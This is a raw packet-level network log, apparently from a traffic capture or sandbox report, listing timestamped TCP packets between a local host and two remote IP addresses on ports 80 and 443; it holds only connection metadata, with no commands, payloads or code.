Dec 16, 2024 15:02:36.355212927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.355427027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.355496883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.356144905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.356231928 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.356482983 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.356534004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.357192039 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.357234955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.357243061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.357319117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.357625961 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.357687950 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.357697964 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.358254910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.358393908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.358412027 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.358448029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.359047890 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.359118938 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.359126091 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.359328032 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.359389067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.359427929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.359473944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.360492945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.360565901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.360580921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.360660076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.361490011 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.361602068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.361614943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.361682892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.362593889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.362685919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.362694979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.362761974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.362776041 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.362921000 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.362970114 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.363646030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.363761902 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.363781929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.363910913 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.364773989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.364842892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.364932060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.365144014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.365823984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.365988016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.366027117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.366028070 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.366441011 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.366494894 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.366611004 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.366624117 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.366868973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.366925955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.366950989 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.366998911 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.367225885 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.367275000 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.367321014 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.367326975 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.367338896 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.367428064 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.367433071 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.367945910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.368035078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.368096113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.368182898 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.368989944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.369097948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.369103909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.369211912 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.370062113 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.370074987 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.370081902 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.370127916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.370227098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.370291948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.371176004 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.371287107 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.371292114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.371335030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.372251034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.372379065 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.372437000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.372673988 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.373301029 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.373337984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.373414040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.373507977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.374573946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.374639034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.374687910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.374914885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.375560999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.375608921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.375629902 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.375673056 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.375695944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.375726938 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.375758886 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.376523018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.376610994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.376636028 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.376692057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.377587080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.377629995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.377687931 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.377774954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.378653049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.378736973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.378772974 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.378956079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.379962921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.380054951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.380167007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.380187988 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.380877972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.380966902 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.380978107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.381001949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.382144928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.382217884 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.382257938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.382257938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.383095980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.383148909 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.383332968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.383460045 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.383964062 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.384021997 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.384037971 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.384143114 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.384231091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.384300947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.384339094 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.385140896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.385154963 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.385243893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.386218071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.386286974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.386466980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.386576891 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.387259960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.387336969 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.387372971 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.387484074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.388354063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.388407946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.388664007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.388709068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.389401913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.389453888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.389494896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.390518904 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.390559912 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.390705109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.390744925 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.391561985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.391619921 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.391630888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.391686916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.392803907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.392868042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.392890930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.392941952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.393698931 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.393745899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.393786907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.393846989 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.394798994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.394841909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.394875050 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.394932985 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.395831108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.395884037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.398369074 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.398412943 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.398439884 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.398461103 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.398504019 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.487433910 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.531718016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.531802893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.531883001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.531990051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.532155037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.532202959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.532227039 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.532318115 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.533303022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.533360958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.533399105 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.533467054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.534454107 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.534523964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.534533978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.534610987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.535471916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.535522938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.535582066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.535744905 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.536427021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.536482096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.536618948 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.536667109 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.537663937 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.537754059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.537759066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.537810087 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.538636923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.538683891 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.538764000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.538820982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.539846897 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.539977074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.539992094 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.540055037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.541004896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.541028023 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.541058064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.541105032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.542140007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.542217016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.542229891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.542306900 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.543384075 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.543488979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.543502092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.543618917 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.544926882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.544980049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.545059919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.545116901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.545974016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.546025038 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.546042919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.546097994 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.546752930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.546870947 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.546933889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.546984911 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.547795057 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.547940016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.548007965 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.548099041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.548913002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.549021959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.549056053 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.549101114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.549776077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.549829006 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.549900055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.549967051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.550519943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.550580978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.550602913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.550692081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.551454067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.551548958 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.551579952 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.551712990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.552845955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.553042889 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.553052902 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.553241014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.553638935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.553684950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.553693056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.553752899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.553917885 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.553970098 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.553986073 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.554653883 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.554738998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.554821014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.554821014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.555787086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.555841923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.555871964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.555952072 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.556857109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.556915998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.556967020 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.556967020 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.557887077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.557934046 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.558141947 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.558177948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.558932066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.558984995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.559050083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.559089899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.560020924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.560071945 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.560137987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.560427904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.561250925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.561304092 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.561358929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.561372042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.561394930 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.561405897 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.561429977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.562264919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.562498093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.562531948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.562560081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.563853025 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.563977003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.564120054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.564212084 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.564909935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.564995050 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.565045118 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.565243006 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.565571070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.565639973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.565758944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.565817118 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.566755056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.566806078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.566874027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.567060947 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.567662954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.567785978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.567790031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.567939043 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.568619013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.568675041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.568715096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.568842888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.569817066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.569855928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.569865942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.569942951 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.570808887 CET	80	49938	185.215.113.16	192.168.2.6
